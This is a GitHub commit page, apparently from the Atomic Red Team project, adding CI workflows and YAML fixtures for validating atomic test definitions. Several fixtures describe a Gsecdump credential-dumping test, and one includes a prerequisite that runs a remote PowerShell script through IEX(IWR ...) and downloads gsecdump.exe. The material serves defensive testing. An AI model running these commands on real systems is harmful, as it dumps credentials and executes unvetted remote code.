-
Notifications
You must be signed in to change notification settings - Fork 2.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
* add tests for python code * ruff format
- Loading branch information
Showing
22 changed files
with
612 additions
and
156 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -11,6 +11,35 @@ jobs: | |
uses: actions/checkout@v4 | ||
with: | ||
token: ${{ secrets.PROTECTED_BRANCH_PUSH_TOKEN }} | ||
|
||
- name: Install poetry | ||
run: pipx install poetry | ||
- uses: actions/setup-python@v5 | ||
with: | ||
python-version: "3.11.2" | ||
cache: "poetry" | ||
- name: Install dependencies | ||
run: poetry install --no-interaction | ||
|
||
- name: Generate shields.io URL | ||
run: poetry run python runner.py generate-counter | ||
id: counter | ||
working-directory: atomic_red_team | ||
env: | ||
PYTHONPATH: ${{ github.workspace }} | ||
|
||
- name: Update README | ||
run: | | ||
echo ${{ steps.counter.outputs.result }} | ||
sed -i "s|https://img.shields.io/badge/Atomics-.*-flat.svg|${{ steps.counter.outputs.result }}|" README.md | ||
shell: bash | ||
|
||
- name: Generate and commit unique GUIDs for each atomic test | ||
run: poetry run python runner.py generate-guids | ||
working-directory: atomic_red_team | ||
env: | ||
PYTHONPATH: ${{ github.workspace }} | ||
|
||
- name: setup ruby | ||
uses: ruby/setup-ruby@v1 | ||
with: | ||
|
@@ -33,6 +62,7 @@ jobs: | |
git config credential.helper 'cache --timeout=120' | ||
git config user.email "[email protected]" | ||
git config user.name "Atomic Red Team doc generator" | ||
git add README.md | ||
git add atomics | ||
git commit -am "Generated docs from job=$GITHUB_JOB branch=$GITHUB_REF_NAME [ci skip]" | ||
git push origin $GITHUB_REF_NAME -f | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
name: validate-python-file-changes | ||
|
||
on: | ||
pull_request: | ||
branches: | ||
- master | ||
paths: | ||
- "atomic_red_team/**/*.py" | ||
|
||
jobs: | ||
validate-python-file-changes: | ||
runs-on: ubuntu-latest | ||
steps: | ||
- name: checkout repo | ||
uses: actions/checkout@v4 | ||
- name: Install poetry | ||
run: pipx install poetry | ||
- name: setup python3.11 | ||
uses: actions/setup-python@v5 | ||
id: setup-python | ||
with: | ||
python-version: "3.11.2" | ||
cache: "poetry" | ||
|
||
- name: Install dependencies | ||
run: poetry install --no-interaction | ||
|
||
- name: Run pytest | ||
run: poetry run pytest atomic_red_team/tests |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
attack_technique: T1003 | ||
display_name: OS Credential Dumping | ||
atomic_tests: | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
input_arguments: | ||
gsecdump_exe: | ||
description: Path to the Gsecdump executable | ||
type: float | ||
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
attack_technique: T1003 | ||
display_name: OS Credential Dumping | ||
atomic_tests: | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
input_arguments: | ||
gsecdump_exe: | ||
description: Path to the Gsecdump executable | ||
type: integer | ||
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
attack_technique: T1003 | ||
display_name: OS Credential Dumping | ||
atomic_tests: | ||
- name: Gsecdump | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
input_arguments: | ||
gsecdump_exe: | ||
description: Path to the Gsecdump executable | ||
type: path | ||
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe | ||
gsecdump_bin_hash: | ||
description: File hash of the Gsecdump binary file | ||
type: string | ||
default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC | ||
gsecdump_url: | ||
description: Path to download Gsecdump binary file | ||
type: url | ||
default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe | ||
dependency_executor_name: powershell | ||
dependencies: | ||
- description: | | ||
Gsecdump must exist on disk at specified location (#{gsecdump_exe}) | ||
prereq_command: | | ||
if (Test-Path "#{gsecdump_exe}") {exit 0} else {exit 1} | ||
get_prereq_command: | | ||
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 | ||
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe" | ||
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing) | ||
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){ | ||
Move-Item $binpath "#{gsecdump_exe}" | ||
} | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt | ||
elevation_required: true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
attack_technique: T1003 | ||
display_name: OS Credential Dumping | ||
atomic_tests: | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
attack_technique: T1003 | ||
display_name: OS Credential Dumping | ||
atomic_tests: | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
input_arguments: | ||
gsecdump_exe: | ||
description: Path to the Gsecdump executable | ||
type: path | ||
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt | ||
elevation_required: true | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
input_arguments: | ||
gsecdump_exe: | ||
description: Path to the Gsecdump executable | ||
type: path | ||
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe | ||
dependency_executor_name: powershell | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
attack_technique: W1003 | ||
display_name: OS Credential Dumping | ||
atomic_tests: | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
executor: | ||
command: | | ||
echo "ART" | ||
name: command_prompt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
attack_technique: T1003 | ||
display_name: OS | ||
atomic_tests: | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
input_arguments: | ||
gsecdump_exe: | ||
description: Path to the Gsecdump executable | ||
type: path | ||
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
attack_technique: T1003 | ||
display_name: OS Credential Dumping | ||
atomic_tests: | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
input_arguments: | ||
gsecdump_exe: | ||
description: Path to the Gsecdump executable | ||
type: path | ||
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe | ||
gsecdump_bin_hash: | ||
description: File hash of the Gsecdump binary file | ||
type: string | ||
default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC | ||
gsecdump_url: | ||
description: Path to download Gsecdump binary file | ||
type: url | ||
default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe | ||
dependency_executor_name: powershell | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
attack_technique: T1003 | ||
display_name: OS Credential Dumping | ||
atomic_tests: | ||
- name: Gsecdump | ||
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed | ||
description: | | ||
Dump credentials from memory using Gsecdump. | ||
supported_platforms: | ||
- windows | ||
input_arguments: | ||
gsecdump_exe: | ||
description: Path to the Gsecdump executable | ||
type: url | ||
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe | ||
executor: | ||
command: | | ||
"#{gsecdump_exe}" -a | ||
name: command_prompt |
Empty file.
Oops, something went wrong.